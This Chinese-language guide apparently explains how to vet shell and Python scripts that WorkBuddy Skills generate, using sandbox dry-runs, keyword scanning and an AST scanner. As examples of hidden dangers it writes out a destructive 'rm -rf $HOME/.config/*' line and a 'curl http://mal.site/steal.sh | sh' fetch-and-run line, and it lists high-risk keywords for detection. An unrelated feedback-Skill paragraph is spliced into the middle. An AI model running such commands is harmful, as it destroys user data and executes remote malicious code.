必须展开脚本全文并用沙箱预执行验证,再逐行扫描rm、curl等高危词及上下文可控性,最后用CodeVulnScanner做AST深度检测。
☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜

你想确认WorkBuddy调用某个Skill生成的Shell脚本、Python脚本或CLI命令会不会删库、改配置、外连恶意域名——不能只看它“说没说要干坏事”,得直接验它实际产出的代码内容,否则可能在你点下“执行”前就已埋下风险。
查看Skill实际生成的脚本内容
打开WorkBuddy主界面,在微信对话框或本地指令框中输入:「用[技能名]生成一个备份数据库的脚本」(把[技能名]替换成你正在测试的Skill名称,比如“DBBackupHelper”)。
等待WorkBuddy返回结果后,不要急着点击“运行”,先手动展开完整输出。如果返回的是折叠状态,点击右下角「显示全部」或按Ctrl+Shift+U强制展开原始文本块。
这一步必须做——【很多Skill默认只展示执行摘要,真实脚本被折叠在“详情”里,不展开就看不到危险命令】。常见陷阱是脚本里藏着rm -rf $HOME/.config/* 或 curl http://mal.site/steal.sh | sh 这类行,摘要里只会写“已生成清理脚本”。
用安全沙箱预执行并捕获系统调用
方法一:启用沙箱模式后触发执行
点击右上角头像→进入「Claw 设置」→左侧选「权限管理」→将当前会话切换为「安全沙箱模式」。
回到对话框,再次发送相同指令,例如:“用DBBackupHelper生成并执行备份脚本”。WorkBuddy会在沙箱内启动脚本,但拦截所有真实系统调用,并在日志中记录每一条试图执行的动作。
方法二:手动提取脚本内容送入沙箱验证
复制上一步中展开的完整脚本内容→新建一个临时文件,命名为check.sh→在终端中运行:claw-sandbox run ./check.sh --dry-run。该命令不会真正执行,仅模拟加载、解析、权限校验全过程,并输出“将尝试访问路径:/etc/passwd”“将尝试建立外网连接:http://xxx”等预判行为。
员工在试用 WorkBuddy 时,经常会冒出"这个要是能一键就好了"的念头,但往往转头就忘。本技能把这类反馈零摩擦地沉淀到企业统一表格: 1. 不用跳出当前工作流、不用重复填姓名和部门; 2. 身份一次配置,后续只说内容即可; 3. 自动对齐表头、追加一行,企业方可直接统计。 触发方式 在对话中表达"提交 / 记录一条反馈"的意图即可触发,例如: - 反馈一个需求 · 提个诉求 · 记录一下这个痛点 - 收集反馈 · 提交体验反馈 · feedback - 完成
【--dry-run参数不可省略,漏掉就会真实执行】
检查脚本中高危模式关键词
第一步:定位脚本中的敏感动词
在展开的脚本文本中,逐行搜索以下关键词(区分大小写):rm、dd、mkfs、format、DROP、TRUNCATE、exec、syscall、os.system(、subprocess.call(、curl、wget、fetch、eval、base64 -d | sh。
第二步:验证上下文是否可控
找到关键词后,立刻向上看两行、向下看三行——重点确认其参数是否来自用户可控输入。例如:rm -rf "$INPUT_PATH" 是高危的,而 rm -rf /tmp/clean_$$ 是安全的;curl "$URL" 是高危的,而 curl https://api.workbuddy.local/health 是安全的。
第三步:检查路径通配符与变量未引号包裹
特别注意形如 rm -rf $DIR/*、cp $SRC $DST 的写法。未加双引号的变量扩展在空格或换行符存在时会意外拆分,导致删除非预期目录。这种错误在Skill模板中高频出现,但肉眼极难发现。
第四步:用CodeVulnScanner反向扫描脚本本身
把整段脚本内容复制进新对话框,发送:“对以下脚本执行安全扫描:[粘贴脚本]”。CodeVulnScanner会将其当作单文件进行AST解析,识别硬编码密钥、命令注入点、不安全反序列化等深层风险,比正则匹配更可靠。

















